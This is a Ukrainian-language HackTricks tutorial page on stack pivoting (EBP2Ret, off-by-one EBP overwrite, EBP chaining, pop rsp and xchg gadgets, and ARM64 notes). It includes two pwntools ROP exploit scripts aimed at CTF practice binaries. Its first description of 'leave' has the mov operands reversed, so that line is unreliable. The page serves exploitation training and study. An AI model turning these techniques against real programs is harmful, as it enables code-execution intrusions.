Stack Pivoting - EBP2Ret - EBP chaining

Reading time: 8 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks

Basic Information

Ця техніка використовує можливість маніпулювати Base Pointer (EBP) для з'єднання виконання кількох функцій через обережне використання регістра EBP та інструкційної послідовності leave; ret.

Нагадаємо, що leave в основному означає:

mov       ebp, esp
pop       ebp
ret

І як EBP знаходиться в стеку перед EIP, можливо контролювати його, контролюючи стек.

EBP2Ret

Ця техніка особливо корисна, коли ви можете змінити регістр EBP, але не маєте прямого способу змінити регістр EIP. Вона використовує поведінку функцій, коли вони закінчують виконання.

Якщо під час виконання fvuln вам вдасться ввести фальшивий EBP у стек, який вказує на область пам'яті, де знаходиться адреса вашого shellcode (плюс 4 байти для врахування операції pop), ви можете непрямо контролювати EIP. Коли fvuln повертається, ESP встановлюється на це створене місце, а наступна операція pop зменшує ESP на 4, ефективно вказуючи на адресу, збережену атакуючим там.
Зверніть увагу, що вам потрібно знати 2 адреси: ту, куди ESP буде йти, де вам потрібно буде записати адресу, на яку вказує ESP.

Конструкція експлойту

Спочатку вам потрібно знати адресу, куди ви можете записати довільні дані / адреси. ESP буде вказувати сюди і виконає перший ret.

Потім вам потрібно знати адресу, яку використовує ret, що виконає довільний код. Ви можете використовувати:

  • Дійсну ONE_GADGET адресу.
  • Адресу system(), за якою йдуть 4 байти сміття та адреса "/bin/sh" (x86 біт).
  • Адресу jump esp; гаджета (ret2esp), за яким йде shellcode для виконання.
  • Деяку ROP ланцюг

Пам'ятайте, що перед будь-якими з цих адрес у контрольованій частині пам'яті повинно бути 4 байти через pop частину інструкції leave. Було б можливо зловживати цими 4B, щоб встановити другий фальшивий EBP і продовжити контролювати виконання.

Off-By-One Exploit

Існує специфічний варіант цієї техніки, відомий як "Off-By-One Exploit". Він використовується, коли ви можете змінити лише найменш значущий байт EBP. У такому випадку, місце в пам'яті, що зберігає адресу для переходу з ret, повинно ділити перші три байти з EBP, що дозволяє подібну маніпуляцію з більш обмеженими умовами.
Зазвичай змінюється байт 0x00, щоб стрибнути якомога далі.

Також поширено використовувати RET sled у стеку та поміщати реальний ROP ланцюг в кінець, щоб підвищити ймовірність того, що новий ESP вказує всередину RET SLED, і фінальний ROP ланцюг виконується.

EBP Chaining

Отже, поміщаючи контрольовану адресу в запис EBP стека та адресу для leave; ret в EIP, можливо перемістити ESP на контрольовану адресу EBP зі стека.

Тепер ESP контролюється, вказуючи на бажану адресу, а наступна інструкція для виконання - це RET. Щоб зловживати цим, можливо помістити в контрольоване місце ESP наступне:

  • &(next fake EBP) -> Завантажити новий EBP через pop ebp з інструкції leave
  • system() -> Викликаний через ret
  • &(leave;ret) -> Викликаний після завершення системи, він перемістить ESP на фальшивий EBP і почне знову
  • &("/bin/sh")-> Параметр для system

В основному, таким чином можливо з'єднати кілька фальшивих EBP для контролю потоку програми.

Це схоже на ret2lib, але складніше без очевидної вигоди, але може бути цікавим у деяких крайніх випадках.

Більше того, ось вам приклад завдання, яке використовує цю техніку з витоком стека, щоб викликати виграшну функцію. Це фінальний payload зі сторінки:

python
from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')

LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229

payload = flat(
0x0,               # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)

payload = payload.ljust(96, b'A')     # pad to 96 (just get to RBP)

payload += flat(
buffer,         # Load leak address in RBP
LEAVE_RET       # Use leave ro move RSP to the user ROP chain and ret to execute it
)

pause()
p.sendline(payload)
print(p.recvline())

EBP може не використовуватись

Як пояснено в цьому пості, якщо бінарний файл скомпільовано з деякими оптимізаціями, EBP ніколи не контролює ESP, отже, будь-який експлойт, що працює шляхом контролю EBP, в основному зазнає невдачі, оскільки не має жодного реального ефекту.
Це пов'язано з тим, що пролог і епілог змінюються, якщо бінарний файл оптимізовано.

  • Не оптимізовано:
bash
push   %ebp         # save ebp
mov    %esp,%ebp    # set new ebp
sub    $0x100,%esp  # increase stack size
.
.
.
leave               # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret                 # return
  • Оптимізовано:
bash
push   %ebx         # save ebx
sub    $0x100,%esp  # increase stack size
.
.
.
add    $0x10c,%esp  # reduce stack size
pop    %ebx         # restore ebx
ret                 # return

Інші способи контролю RSP

pop rsp гаджет

На цій сторінці ви можете знайти приклад використання цієї техніки. Для цього завдання потрібно було викликати функцію з 2 специфічними аргументами, і був pop rsp гаджет та є leak з стеку:

python
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments

from pwn import *

elf = context.binary = ELF('./vuln')
p = process()

p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')

POP_CHAIN = 0x401225       # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229     # pop RSI and R15

# The payload starts
payload = flat(
0,                 # r13
0,                 # r14
0,                 # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,               # r15
elf.sym['winner']
)

payload = payload.ljust(104, b'A')     # pad to 104

# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer             # rsp
)

pause()
p.sendline(payload)
print(p.recvline())

xchg <reg>, rsp gadget

pop <reg>                <=== return pointer
<reg value>
xchg <reg>, rsp

jmp esp

Перевірте техніку ret2esp тут:

Ret2esp / Ret2reg

Посилання та інші приклади

ARM64

В ARM64, пролог і епілог функцій не зберігають і не відновлюють реєстр SP у стеку. Більше того, інструкція RET не повертає за адресою, на яку вказує SP, а за адресою всередині x30.

Отже, за замовчуванням, просто зловживаючи епілогом, ви не зможете контролювати реєстр SP, переписуючи деякі дані всередині стеку. І навіть якщо вам вдасться контролювати SP, вам все ще знадобиться спосіб контролювати реєстр x30.

  • пролог
armasm
sub sp, sp, 16
stp x29, x30, [sp]      // [sp] = x29; [sp + 8] = x30
mov x29, sp             // FP вказує на запис кадру
  • епілог
armasm
ldp x29, x30, [sp]      // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret

увага

Спосіб виконати щось подібне до стекового підіймання в ARM64 полягатиме в тому, щоб мати можливість контролювати SP (контролюючи якийсь реєстр, значення якого передається до SP, або через те, що з якоїсь причини SP бере свою адресу зі стеку, і у нас є переповнення) і потім зловживати епілогом, щоб завантажити реєстр x30 з контрольованого SP і RET до нього.

Також на наступній сторінці ви можете побачити еквівалент Ret2esp в ARM64:

Ret2esp / Ret2reg

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримайте HackTricks